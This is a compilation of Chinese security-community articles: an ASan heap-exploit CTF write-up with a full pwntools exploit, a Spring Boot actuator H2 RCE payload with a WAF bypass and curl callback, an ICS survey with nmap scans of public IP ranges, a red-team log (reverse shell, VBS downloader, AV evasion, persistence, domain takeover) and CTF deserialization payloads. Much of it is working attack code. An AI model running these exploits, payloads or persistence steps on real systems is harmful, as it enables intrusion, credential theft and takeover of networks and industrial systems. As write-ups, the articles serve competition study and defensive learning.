* 对于动态分配的内存，会hook掉对应的函数，如malloc, free，然后使用自己的分配策略，同样会用Shadow Memory进行映射
文章中没有说到的我这里补充一下
* 对于会有内存操作的库函数，如strlen等，都会进行hook掉，动态的检测内存
* hook掉的malloc分配的策略大概可以描述如下，不同size分配的内存区域不同，但是地址会固定，如0x10字节大小的，一开始都会分配到0x602000000010这个地址
* 分配的每块内存的前面0x10个字节都会带有一些描述这块内存的信息，如size，使用状态
* free掉之后的内存正常情况是不会再次被分配的
### 程序功能分析
程序有5个功能，分别是
* add_note
* show_note
* update_note
* delete_note
* secret
下面将会分析每个功能
### add_note
首先是遍历前10个位置，看下有没有空位，假如没有就会直接报错退出
接下来是读取note的size，这里限制了下size的范围，然后malloc出来，使用read_until_nl_or_max来读取size-8个字节进malloc的内存里面，read_until_nl_or_max返回值应该就是读取字节的数量，假如读取到max位，会在max位置0，然后返回max-1
之后会读取8个字节大小的ID，赋值到之前读进的数据后面
之后malloc 0x10个字节大小的chunk，将指针存到bss段的notes对应的位置里面
再把一开始malloc的内存指针存到 0x10个字节大小的chunk前8个字节，在后8个字节存一个函数指针cfi_check
最后的布局大概如下
### show_note
show
note就比较简单，首先读取下标，然后根据下标从notes中取出内存指针，再取出一开始malloc的内存，用strlen来判断读取的内容的长度，然后在此之后8个字节作为ID
用printf来输出
### update_note
这里前面跟show_note差不多，然后就是更新各种东西
不过这里有两个bug
第一个是，这里默认read_until_nl_or_max读取数据最后一位肯定为x00
但是实际读取到max之后，后面的ID会和前面的数据连在一起，这样就会导致溢出
第二个就是Address Sanitizier自身的一个漏洞
假如说有这么一个赋值
*(_QWORD *)address = value;
Address Sanitizier会检测
Shadow = (address>>3) + 0x7fff8000;
的内存是否为0，这在address % 8 = 0的情况下工作得非常好
那么如果 address % 8 != 0 呢？
Address Sanitizier
检测到address开始位置的内存是可读写的就会让程序继续进行下去，但是实际上后8个字节如果是不可读写的话，就会变成溢出，最大可以溢出7个字节到下一个块
之后就是执行函数指针，不过这里会在执行前判断一下，基本不可能修改来任意执行
### delete_note
这里一开始是选择index，然后拿出来，free掉
这里又是另外一个漏洞，free掉之后没有置0
不过因为用了Address Sanitizier，任何use after free都会退出
而且Address Sanitizier也会把那个地址修改为一个不可读写的地址
### secret
这里首先是读取一个地址，然后会判断一下地址右移44位之后是否大于0，假如大于的话，会或运算上0x700000000000，之后会对这个地址写0
因为程序开了PIE，地址大于
0x500000000000，而堆地址是大于0x600000000000，两个都小于0x700000000000，因此是不能对程序中的变量和堆上的变量进行写0操作
唯一有可能的就是Shadow Memory，这里详细的会在后面说
## 利用漏洞
程序有三个漏洞，还有一个有限地址置0，应该怎么利用好呢？
首先前面分析过，有限地址置0肯定是往Shadow Memory里面置0，那么具体在哪里呢？
我们一步步地分析
首先上面也说过，不同malloc会根据size分配到不同的区域，这里想要溢出什么的，肯定最好也分配0x10的chunk
首先add一个0x10大小的note，然后在内存里面观察下
红色框里面的就是chunkHeader
再看下对应的Shadow Memory
可以看到除了分配的内存以外，其他都不为0
我们试下free掉这个note看看
可以看到Header的内容变了，原来Shadow Memory是00的地方变为fd
其实因为题目的限制，这个时候置0的位置已经很明显了，肯定是在一个malloc的chunk后面的shadow
memory那里置0，然后溢出到下一个chunk的header
再通过修改header干一些奇奇怪怪的事情
找了下源码，header的结构如下
前8bit是存的chunk_state 之后24bit存了alloc_tid，以次类推
可以看到还存user_requested_size，可以试着改一下这个
我们这里通过溢出修改了user_requested_size，那么free掉之后会有什么效果呢？
可以看到后面全部变成0xfd，也就是全部当成被free的状态
研究了下，其实他的size是0x20000010，最高位为什么是2就不知道了
然后试着改了下最高位
发现free之后，shadow memory回到一开始的状态
跟踪了一下源码，大概就是size过大，触发了回收机制，把所有chunck回收了
这个时候如果我们再新建一个note，会发现与第一个note重叠了
而且刚好顺序是相反的，内存如下图
也就是我们现在可以控制heap中的内存指针，也就有了任意读，可以leak出程序基址，libc基址
关键现在就是怎么利用呢？
这里我利用的是bss段的一个callback
_ZN11__sanitizerL20InternalDieCallbacksE
在update的时候，检测函数指针错误的时候会调用Die，Die又会调用这个callback，跳转到gets函数，这个时候就有一个ROP，之后ROP一下就能get
shell，这里我就不多说了
下面是详细的payload
from pwn import *
debug=1
context.log_level='debug'
if debug:
p=process('aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
gdb.attach(p)
else:
p=remote('111.186.63.209', 6666)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def add(sz,content,id):
sl('1')
ru('Size')
sl(str(sz))
ru('Content')
se(content)
ru('ID')
sl(str(id))
ru('Choice: ')
def show(idx):
sl('2')
ru('Index')
sl(str(idx))
def update(idx,content,id):
sl('3')
ru('Index')
sl(str(idx))
ru('Content: ')
se(content)
ru('New ID:')
sl(str(id))
ru('Choice:' )
def delete(idx):
sl('4')
ru('Index')
sl(str(idx))
ru('Choice:')
def secret(addr):
sl('666')
ru('Lucky Number: ')
sl(str(addr))
ru('Choice:')
add(0x10,'a'*8,0x123456789abcdef)
#0x602000000000
#0x7fff8000
secret(0xc047fff8008-4)
#modify user_requested_size
update(0,'x02'*0x12,0x123456789)
update(0,'x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)
delete(0)
add(0x10,p64(0x602000000018),0)
#leak program base address
show(0)
ru('Content: ')
addr = u64(ru('n')[:-1]+'x00x00')
pbase = addr -0x114AB0
ru('Choice: ')
#leak libc base address
update(1,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)
show(0)
ru('Content: ')
addr = u64(ru('n')[:-1]+'x00x00')
base = addr -0xE4FA0
ru('Choice: ')
#write gets to sanitizerL20InternalDieCallbacksE
update(1,p64(pbase+0xFB08A0)[:7],0)
sl('3')
ru('Index')
sl('0')
ru('Content')
se(p64(base+524464)[:7])
ru('ID')
# ROP one_gadget get shell
payload = 'a'*471+p64(base+0x4f322)+'x00'*0x100
sl(payload)
print(hex(pbase))
print(hex(base))
p.interactive() | 社区文章 |
### 0x00 前言
在对springboot acturator配置不当漏洞进行学习时，常见的是针对springboot 1.x版本的2种方式。对于springboot
2.x版本的利用很少提起，在阅读到了一篇在springboot
2.x版本下的利用方式后，对其进行复现，故有此文章。文章中的环境放在[github](https://github.com/ananaskr/springboot_actuator/tree/master/actuator_hikaricp)上了
### 0x01 HikariCP数据库连接池
之前的两个RCE都是在Spring Boot 1.x版本下进行的，在spring 2.x下的版本如何进行RCE呢。幸运的是，Spring Boot
2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是`spring.datasource.hikari.connection-test-query`。这个变量与HikariCP中的`connectionTestQuery`配置相匹配。根据文档，此配置定义的是在从池中给出一个连接之前被执行的query，它的作用是验证数据库连接是否处于活动状态。简言之，无论何时一个恶心的数据库连接被建立时，`spring.datasource.hikari.connection-test-query`的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数，进行RCE。
### 0x02 H2 CREATE ALIAS 命令
H2数据库引擎是一个流行的java开发数据库，非常容易与Spring Boot集成，仅仅需要如下的一个dependency。
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>
在H2中有一个非常重要的命令，与PostgreSQL中的用户定义函数相似，可以用CREATE ALIAS创建一个java函数然后调用它，示例如下:
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');
仿照这个，创建命令执行的java函数可以如下:
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {
return s.next();
} throw new IllegalArgumentException();
}
那么RCE所需的SQL语句即:
CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');
与1.x类似，在端点`/actuator/env`通过POST方法进行环境变量的赋值。payload为
POST /actuator/env HTTP/1.1
content-type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');"}
执行RCE的SQL语句已经构建好，接下来就是触发一个新的数据库连接，通过向端点`/actuator/restart`发送POST请求，即可重启应用出发新的数据库连接。请求如下
POST /actuator/restart HTTP/1.1
content-type: application/json
{}
命令执行的结果:
### 0x03 针对WAFs
在这点上，可能会遇到常见的WAF过滤器，特别是对exec的过滤。然而，像这样的一个payload可以很容易地使用多种字符串拼接技术来绕过。比如使用CONCAT或HEXTORAW命令。上面的payload可写成
CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
CALL EXEC('curl http://x.burpcollaborator.net');
### 0x04 有限的执行上下文的命令注入
`spring.datasource.hikari.connection-test-query`是用来验证连接到数据库的连接是否存活。如果语句失败，应用会相信数据库无法连接并不再返回其他的数据库查询。攻击者可利用此来获得一个blind
RCE。
### 参考
* <https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database> | 社区文章 |
# 工控安全分析闲谈
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00写在前面
* 在互联网时代并未向现在如此普及的情况下，工控设备之间的通信，是采用无线电和电缆进行的。
* 但随着时代的发展，人们对工控的传统通信方式逐渐产生不满。无论是从性能的可靠性，部署的难易度以及覆盖范围的大小，都不能满足更高生产力需求的工业自动化生产。
* 在竞争激烈的时代，转向基于IP的系统（接入互联网）可提供巨大的经济优势。因此，预计会有越来越多的系统转向基于IP的系统。例如，从专有的基于无线电的网络迁移到基于IP的网络的优势包括跨多个应用程序的共享网络资源，网络改进，例如增加的冗余和所有应用程序，共享网络管理系统的容量，以及仅为现场支持人员维护一项技能。
* 随着接入互联网的工控设备越来越多，逐渐的构成了工业互联网体系。
* 但由于此类互联网体系，存在其中的设备大多更新迭代困难，设备技术严重脱节，所以导致其安全问题十分之多，并因为大多数设备是运用在城市基础设施，甚至是工业制造以及军工产业。
* 当发生网络安全事件时，影响以及破坏力巨大。针对于工控设备的安全研究分析势在必行。工控系统的安全研究分析势在必行。
## 0x01专业术语
* 系统类
* MCS：机组指令控制系统
* 一般是指 纸机控制系统
(Machine Control System),以传动为主,特别注重张力控制
* EMS：能源管理系统
* EMS能量管理系统是现代电网调度自动化系统(含硬、
软件）总称。其主要功能由基础功能和应用功能两个
部分组成。基础功能包括:计算机、操作系统和EMS支
撑系统。应用功能包括:数据采集与监视(SCADA）、
自动发电控制(AGC）与计划、网络应用分析
* PMC：生产监控系统
* Production material control是指对生产计划与生
产进度的控制，以及对物料的计划、跟踪、收发、存
储、使用等各方面的监督与管理和呆滞料的预防处理
工作。PMC部主要有两方面的工作内容：即PC（生产
计划、生产进度的管理）与MC（物料的计划、采购、
跟踪、收发、存储、使用等各方面的监督与管理，以
及废料的预防与处理工作）。
n
* PMC是PLC的一个子集，某些厂商将专用于数控机
床的PLC称为PMC，所以PMC和PLC是非常相似的。
比如FANUC PMC
* VMS：船舶远程监控管理系统
* 能够向岸端实时传输远洋船舶的航行信息、机舱信息、
视频信息及货物信息，方便岸端管理人员管理其航行于世界各大洋的船舶。
* 该产品曾圆满完成“神舟七号”、“神舟九号”、
“神舟十号”载人航天飞行海上应急搜救保障任务，
并获得总装备部的表彰，近年为我国多艘科考船和调
查船提供了基础信息平台，并广泛应用于中远集团、
台塑集团、中海油、安吉物流等大型航运企业及其他
政府部门。
* MES：制造企业生产过程执行系统
* MES（制造执行系统Manufacturing Execution System）是企业CIMS信息集成的纽带，是实施企业敏捷制造战略和实现车间生产敏捷化的先进技术手段。MES制造执行系统是处于计划层和现场自动化系统之间的执行层，主要负责车间生产管理和调度执行。
* SCADA：数据采集与监视控制系统
* SCADA系统在电力系统中的应用最为广泛，技术发展也最为成熟。它作为能量管理系统（EMS系统）的一个最主要的子系统，有着信息完整、提高效率、正确掌握系统运行状态、加快决策、能帮助快速诊断出系统故障状态等优势，现已经成为电力调度不可缺少的工具。
* ICS：工业控制系统
* DCS：分布式控制系统/集散控制系统
* DCS系统在石油、化工、电力、冶金等部门有广泛的应用。
* PCS：过程控制系统
* 过程控制在石油、化工、电力、冶金等部门有广泛的应用。
* ESD：应急停车系统
* PLC：可编程序控制器(Programmable Logic Controller)
* IED：智能监测单元
* HMI：人机界面(Human Machine Interface)
* MIS：管理信息系统(Management Information System)
* Management Information System是指对火力发电
企业大量的原始管理数据进行收集、整理，支持查询、
分析汇总等方面的工作。火力发电厂Mis系统是以生产
管理为基础，设备管理和经营管理为中心的综合管理
系统，全面实现成本控制，提高经济效益，实现现代
化管理的信息系统。它为企业提供辅助决策信息，实
现企业的生产、物资、人员、资金的优化管理，达到
安全经济生产的预期目标。
* SIS： 生产过程自动化监控和管理系统
* Supervisory Information System 厂级监控信息系统是集过程实时监测、优化控制及生产过
程管理为一体的厂级自动化信息系统，是处于火电厂
集散控制系统以及相关辅助程控系统与全厂管理信息
系统之间的一套实时厂级监控信息系统。
* MES：制造执行管理系统
* FCS：现场总线控制系统
* FCS系统可以说是第五代控制系统，本质是信息处理现场化。前现场总线技术的应用主要集中在冶金、电力、水处
理、乳品饮料、烟草、水泥、石化、矿山以及OEM用户等各个行业，同时还有道路无人监控、楼宇自动化、智能家
居等新技术领域。
* FGS：火气系统（火灾/有毒气体检测系统
* FGS系统在石油、燃气、管输等部门有广泛
的应用。
GDS（气体监测系统）系统在化工部门有广
泛的应用。
* 设备类
序号 | 简称 | 注释
—-|—-|—-
1 | RTU | Remote Terminal Unit，中文全称为远程终端控制系
2 | DTU | 数据传输单元DTU (Data Transfer
unit)，是专门用于将串口数据转换为IP数据或将IP数据转换为串口数据通过无线通信网络进行传送的无线终端设备
3 | FTU | Feeder Terminal Unit配电开关监控终端
4 | TTU | distribution Transformer supervisory Terminal Unit，配电变压器监测终端
5 | ESD | emergency shutdown device 紧急停车系统
6 | CNC | 计算机数字控制机床(Computer numerical control)
7 | MCC | 马达控制中心、电机控制系统
8 | TSI | 汽轮机仪表监视系统
9 | NCS | 升压站网络监控系统( Network Control System)
10 | SCS | 顺序控制系统
11 | CCS | 一种连续的调节系统（Continuious Control System）
12 | FSSS | 锅炉炉膛安全监视系统
13 | ETS | 汽轮机保护系统
14 | ECS | 电气控制系统
15 | MEH | 小汽轮机数字电液调节系统
16 | BPCS | 旁路控制系统
17 | DEH | 汽轮机数字电液调节系统
18 | LCU | 现地控制单元（Local Control Unit ）
19 | AGC | 自动发电控制（Automatic Gain Control）
20 | AGV | Automated Guided Vehicle自动导引运输车
21 | SIS | Safety Instrumented System 安全仪表系统
## 0x02协议端口及测试脚本
* Modbus
* MODBUS协议定义了一个与基础通信层无关的简单协议数据单元（PDU）。特定总线或网络上的MODBUS协议映射能够在应用数据单元（ADU）上引入一些附加域。
* 安全问题：
* 缺乏认证：仅需要使用一个合法的Modbus地址和合法的功能码即可以建立一个Modbus会话
* 缺乏授权：没有基于角色的访问控制机制， 任意用户可以执行任意的功能。
* 缺乏加密：地址和命令明文传输， 可以很容易地捕获和解析
* PROFIBUS
* 一种用于工厂自动化车间级监控和现场设备层数据通信与控制的现场总线技术，可实现现场设备层到车间级监控的分散式数字控制和现场通信网络
* DNP3
* DNP(Distributed Network Protocol,分布式网络协议)是一种应用于自动化组件之间的通讯协议，常见于电力、水处理等行业。
简化OSI模型，只包含了物理层，数据层与应用层的体系结构（EPA）。
SCADA可以使用DNP协议与主站、RTU、及IED进行通讯。
* ICCP
* 电力控制中心通讯协议。
* OPC
* 过程控制的OLE （OLE for Process Control）。
* OPC包括一整套接口、属性和方法的标准集，用于过程控制和制造业自动化系统。
* BACnet
* 楼宇自动控制网络数据通讯协议（A Data Communication Protocol for Building Automation and Control Networks）。
* BACnet 协议是为计算机控制采暖、制冷、空调HVAC系统和其他建筑物设备系统定义服务和协议
* CIP通用工业协议，被deviceNet、ControINet、EtherNet/IP三种网络所采用。
* Siemens S7
* 属于第7层的协议，用于西门子设备之间进行交换数据，通过TSAP，可加载MPI,DP,以太网等不同物理结构总线或网络上，PLC一般可以通过封装好的通讯功能块实现。
* 其他工控协议
* EC 60870-5-104、EtherNet/IP、Tridium Niagara Fox、Crimson V3、OMRON FINS、PCWorx、ProConOs、MELSEC-Q。按需求自行查阅资料。
* 相关搜索引擎
* Shodan搜索
* Zoomeye搜索
* Ethernet/IP 44818
* nmap -p 44818 —script enip-enumerate.nse 85.132.179.*
* Modbus 502
* nmap —script modicon-info.nse -Pn -p 502 -sV 91.83.43.*
* IEC 61870-5-101/104 2404
* nmap -Pn -n -d —script iec-identify.nse —script-args=iec-identify -p 2404 80.34.253.*
* Siemens S7 102
* nmap -p 102 —script s7-enumerate -sV 140.207.152.*
* nmap -d —script mms-identify.nse —script-args=’mms-identify.timeout=500’ -p 102 IP
* Tridium Niagara Fox 1911
* nmap -p 1911 —script fox-info 99.55.238.*
* 意义何在
* 上述NSE脚本意义：
* 定位工控系统及协议模块。
* 收集目标工控的信息，如版本、内网IP、模块、硬件信息等。
* 结合对应的NSE脚本进一步拓展，例如自定义空间搜素引擎。
## 0x03乌云工控漏洞的分析
* 工控相关漏洞分析
* 针对乌云主站的漏洞进行关键字搜索：工控(31)、SCADA(15)、Modbus(9)、PLC并进一步整合得到如下列表。
* 在以上的漏洞列表中，可以得出如下结论
* 乌云工控漏洞的案例中，绝大多起因是弱口令(弱口令最多的是123456，其次是admin)、注入类漏洞。
* 挖掘此类漏洞主要解决两个问题
* 如何找到工控相关的系统和地址
* Getshell后，基于工控知识如何操控系统
* 根据漏洞中的细节可以进一步的复测和拓展，进而为工控系统的漏洞挖掘提供非线性思路。
* 结合GHDB关键字的搜素：例如inurl:SCADA……
* 链接地址含SCADA、Modbus等协议的关键字……
* 其他KEY：MIS、SIS、DCS、PLC、ICS、监控系统……
* 相关公司：南京科远、金风科技、天能集团、国电南瑞、华润燃气、积成电子、重庆三峰、东方电子……
* 乌云工控相关的精华漏洞如下7个，在思路亮点中分析了漏洞的核心，同样也可能是获得打雷精华的理由。几乎共同点均是操控了对应的工控系统。
## 0x04参考资源
* 工控专题
* ZoomEye工控专题： <http://ics.zoomeye.org/>
* Shodan工控专题：<https://www.shodan.io/report/l7VjfVKc>
* Z-0ne专注于工控安全攻防技术研究 ：<http://plcscan.org/blog/>
* 网络空间工控设备的发现与入侵：<https://github.com/evilcos/papers>
* 工控安全攻防演练场景实现分享（轨道交通）：<http://zone.wooyun.org/content/14428>
* 工业网络渗透，直击工控安全的罩门(zph，暂无资料)
* 工控系统安全威胁与应对探索(Kimon)
* Exploit PLC on the internet（Z-0ne）：<https://github.com/knownsec/KCon/tree/master/KCon%202015>
* 其他参考
* Google & baidu
协议安全分析专业公司——科诺康：<http://www.codenomicon.com/cn/>
* Modbus通讯协议学习 – 认识篇：<http://www.cnblogs.com/luomingui/archive/2013/06/14/Modbus.html>
## 0x05 协议分析- ModBus
* 标准的Modicon控制器使用RS232C实现串行的Modbus。
* Modbus的ASCII、RTU协议规定了通信数据的结构、命令和应答方式。数据通讯采用Master/Slave方式，Master端发出数据请求消息，Slave端接受正确消息后悔发送数据到Master端以响应请求。Master端也可以直接发送消息修改Slave端的数据，实现双向读写。
* modbus TCP和modbus RTU基本相同，但是也存
一些区别
* 从机地址变得不再重要，多数情况下忽略。从某种意
义上说从机地址被IP地址取代
* CRC校验变得不再重要，甚至可以忽略。由于TCP数
据包中已经存在校验，为了不重复造轮子，modbuCP干脆取消了CRC校验。
* TCP 模式是为了让Modbus 数据顺利在以太网上传产生的，使用TCP 502 端口。
* 该协议物理层，数据链路层，网络层，传输层都是基
于TCP 协议，只在应用层，将Modbus 协议修改后装进去; 接收端将该TCP 数据包拆封后，重新获得原
始Modbus 帧，然后按照Modbus 协议规范进行
析，并将返回的数据包重新封装进TCP 协议中，返回
到发送端。
* 与串行链路传输的数据格式不同，TCP 模式去除了
加地址和校验，增加了报文头。
* Modbus协议功能码
* 读
* 功能码01为度内部比特量输出状态；如告警、变位、故障、异常等。
* 功能码02为度外部开放量输入状态；如光耦输出、继电器输入等。
* 功能码03为读内部输出量的寄存器；如一些配置参数、定值的读取等。
* 功能码04位读外部输入量的寄存器；如外部电压电流模拟量，温湿度等。
* 写
* 功能码05位写内部单个开关量状态；如光耦输出、继电器输出等。
* 功能码06为写内部单个寄存器的值；如更改配置参数、定值等。
* 功能码15位写内部多个开关量状态；如同05
* 功能码16为写内部多个寄存器的值；如同06；对时是写多寄存器，用此功能码。
### 协议分析- S7-common
S7通信支持两种方式
* 1）基于客户端（Client）/服务器（Server）的单边通信；
* 2）基于伙伴（Partner）/伙伴（Partner）的双边通信；
* 客户端（Client）/服务器（Server）模式是最常用的通信方式，也称作S7单边通信。
* 在该模式中，只需要在客户端一侧进行配置和编程；服务器一侧只需要准备好需要
被访问的数据，不需要任何编程（服务器的“服务”功能是硬件提供的，不需要用户软件的任何设置）。
* 由TPKT，COTP，S7 PDU三部分组成并且由TPKT和COTP为S7PDU通讯搭建链路
* S7协议分析
* 刚看到TPKT和COTP也许会很迷惑，其实在具体的报文中，
* TPKT的作用是包含用户协议（5~7层）的数据长度（字节数）；
* COTP的作用是定义了数据传输的基本单位（在S7Comm中
PDU TYPE：DT data）；
* S7Comm与标准TCP/IP比较：S7Comm是一个7层协议；
TCP/IP是四层协议，用户数据在第四层TCP层完成；
* 计算机与PLC进行通讯，可以连接102端口，这是西门子开放的
一个通讯端口 | 社区文章 |
## 前言
年前部门内有个模拟对抗的比赛，记录下当时的过程，感谢导师带我玩。
渗透过程本身是一个试错的过程，所以只记录下过程中的 **`有效步骤`** 。
给定目标为域名，通过openvpn访问，于是先对`*.xxx.com`进行子域名暴力破解，得到`test.xxx.com`等等子域名，对这些子域名批量目录扫描。通过人工筛选过滤，发现入口点：
## 第一层
### S2-061
通过目录扫描发现`index.bak`，提示蛮明显的，直接用payload打就行了。
最开始的时候，防守队的同学没有起WAF规则，所以可以直接打，后来起规则了，就利用了`chunked-coding-converter`或发送大POST包进行绕过。
可出网，反弹shell，对payload`bash -i >& /dev/tcp/IP/PORT
0>&1`进行编码：<http://www.jackson-t.ca/runtime-exec-payloads.html>
进行信息收集,配置文件搜索关键字password：
find / \( -name '*.conf' -o -name '*.xml' \) -exec grep -ir 'password=' {} \; 2>/dev/null
利用收集的密码使用tomcat用户尝试密码复用登录ssh，tomcat123456可成功登录,可通过sudo直接提权，拿到root权限：
可出网，跳板搭建可供选择：
> **NPS** ： <https://github.com/ehang-io/nps>
> **FRP** ： <https://github.com/fatedier/frp>
## 第二层
### CVE-2020-14882 WebLogic远程代码执行漏洞
使用一层跳板，对192.1.1.1/24进行全端口扫描，进行筛选后提取的有效的信息：
> `http://192.168.1.17/#/overview` apache fink
> `http://192.168.1.3:8001` weblogic
Apache FLink未授权上传jar包远程代码执行漏洞
msf生成恶意jar文件，执行反弹shell，上线后发现为vulhub的docker环境。
经探测存在CVE-2020-14882 14883漏洞，2021-01-20 13:50利用成功：
`tasklist /svc`发现有某杀软A，利用 **`certutil`** & **`bitsadmin`** 下载payload均被拦截。
写入vbs下载器，下载免杀exe，并执行上线CS：
echo写入vbs脚本，运行脚本成功下载到1.xml：
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^","http://xxxxx:9042/svchost.txt",0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile "1.xml",2 > C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\d.vbs
cscript d.vbs
重命名.xml为.exe，执行上线
计划任务以及注册表启动项做权限维持：
schtasks /create /SC HOURLY /RU "NT Authority\SYSTEM" /TN "GoogleUpdate" /TR "C:\windows\system32\scvhost.exe"
shell reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v MicrosoftUpdate /t REG_SZ /d "C:\windows\system32\scvhost.exe"
获取密码:
查看网段&工作组：
能出网，直接做二层跳板。
## 第三层
### *微OA E-cology 远程代码执行漏洞
使用二层weblogic跳板机作为代理，进行扫描发现*微OA：
`http://10.1.1.3/login/Login.jsp?logintype=1`
`http://10.1.1.3/weaver/bsh.servlet.BshServlet` 可执行命令：
使用泛微OA E-cology 远程代码执行漏洞 获取权限system 且为defend域内主机，发现某杀软B。
将powershell可执行程序复制到其他目录并重命名，绕过某杀软B上线CS：
计划任务/注册表启动项权限维持：
shell schtasks /create /SC DAILY /RU "NT Authority\SYSTEM" /TN "GoogleUpdateCheck" /TR "cmd /c start /b C:\windows\system32\scvhost.exe" /F
shell reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v GoogleUpdateCheck /t REG_SZ /d "C:\windows\system32\GoogleUpdate.bat"
域内信息收集：
发现有域管理员运行的进程，凭证窃取&DCSync：
窃取令牌后，可获得域管理员权限，并可成功访问域控：
将免杀cs beacon复制到域控：
创建计划任务远程执行：
shell schtasks /create /S dc-01 /SC DAILY /RU "NT Authority\SYSTEM" /TN "MicrosoftUpdate" /TR "c:\windows\system32\WinDefender.exe" /F
shell schtasks /Run /S dc-01 /TN "MicrosoftUpdate"
拿到域控权限：
## 总结
本来域内还要打一台SQL server主机才能拿到域管的权限的，结果防守队同学用域管登了OA的主机~
对于本次的对抗，导师给出的部分总结： | 社区文章 |
# 第五届强网杯线上赛 WriteUp - Web 篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## pop_master
题目 index.php 提供了反序列化的入口函数以及用户可控的函数参数，但是可使用的类很多至无法人工分析，按照每一个 class
节点两个分支来计算，共有近 2^30 个分支需要看，所以题目的考点很明显是自动化寻找 popchain。
相关的 paper 很多，但都不开源工具。在 github 寻找相关的工具，例如
<https://github.com/LoRexxar/Kunlun-M> 需要对其做一定的修改（增加entry，设置结束条件，修改为深度优先搜索
#因为我们只需要一条链即可解题#）。
题目的预期解法应该是通过 ast 生成 cfg，然后检测净化操作进行剪枝，但是笔者观察代码比较规整，使用简单的正则表达式即可完成 taint
到剪枝的操作。具体思路是通过 index.php 的 entry
寻找其定义的位置，然后检查函数参数是否被净化处理(强制赋值)，如果没有则通过深度优先搜索，利用同样的操作处理这个函数中所调用的函数，直到找到一条路径通往
eval，同时函数参数没有被强净化。这里有一个比较 tricky 的处理方式，笔者观察到所有强净化操作的等号 “=”
与左值中间是没有空格的，弱净化操作是存在空格的，那么就不需要进行动态运算即可判断是否进行强净化。
最终代码如下：
import re
phpf = open('class.php').read()
popchain = []
#入口函数(entry)
start_func = 'public function SZB1zV'
func_split_aa = start_func
stop =0
#深度优先搜索
def check_santi(func_split):
callee_class_preg_obj = re.findall(r'([a-zA-Z0-9\-\>\$]*)\(([^\)]*)\)',phpf.split(func_split)[1].split("public function")[0], re.M|re.I)
#匹配参数名
arg = callee_class_preg_obj[0][1]
#匹配代码块
code_block = phpf.split(func_split)[1].split(" public function")[0]
#强净化检测
if arg+"=" in code_block:
print("falied")
return False
else:
callee_class_preg_obj = re.findall(r'([a-zA-Z0-9\-\>\$]*)\(',phpf.split(func_split)[1].split("public function")[0], re.M|re.I)
#遍历目标函数中所有被调用的函数
for c in callee_class_preg_obj:
if c=="":
continue
#eval函数
if c == 'eval':
print('eval!')
stop =1
return True
#被调用的函数$this->member->funcname(xxx)
if c[0] == '$':
#当前的class name
class_name = phpf.split(func_split)[0].split('class ')[-1].split('{')[0]
#被调用函数对应的类赋值给当前类的哪个member
current_class_member = c.split('->')[1]
#被调用函数名
func_split_n = "public function " + c.split('->')[2]
#深度递归被调用函数
if not check_santi(func_split_n):
continue
print(func_split_n)
#获取被调用函数所属的class name
new_class_name = phpf.split(func_split_n)[0].split('class ')[-1].split('{')[0]
#添加popchain节点
popchain.append({"name":class_name,"member":current_class_member,"new_class":new_class_name})
print(popchain)
return True
check_santi(func_split_aa)
print("ok")
#生成popchain的php代码
gen_str = ""
last_class_name = popchain[0]['new_class']
cnt = 0
for i in popchain:
if cnt == 0:
gen_str += "$"+i["name"]+"test" +" = new "+i["name"]+"();"
gen_str += "$"+i["name"]+"test->"+i["member"]+"= new "+last_class_name+"();"
last_class_name = i["name"]
cnt+=1
continue
gen_str += "$"+i["name"]+"test" +" = new "+i["name"]+"();"
gen_str += "$"+i["name"]+"test->"+i["member"]+"= $"+last_class_name+"test;"
last_class_name = i["name"]
print(gen_str)
## [强网先锋]赌徒
进行路径扫描获得 www.zip, 拿到题目源码，是一个简单的反序列化漏洞。可以构造反序列化链进行任意文件读取，直接读 flag, 得到两个脏字节
(hi)+base64 串，解开 base64 串即可获得 flag。
## [强网先锋]寻宝
第一步是简单的php弱类型游戏：
ppp[number1]=2022a&ppp[number2]=8e9&ppp[number3]=61823470&ppp[number4]=0e12345&ppp[number5]=abcd
拿到第一个key。
第二步是通过迅雷下载不稳定的题目附件，解压之后递归遍历一下 docx 内容，拿到第二个key。提交两个key获得flag。
## WhereIsUWebShell
通过构造畸形序列化字符串，绕过正则，获取源码。进行代码审计：
O:7:"myclass":1:{s:5:"hello";O:5:"Hello":2:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}
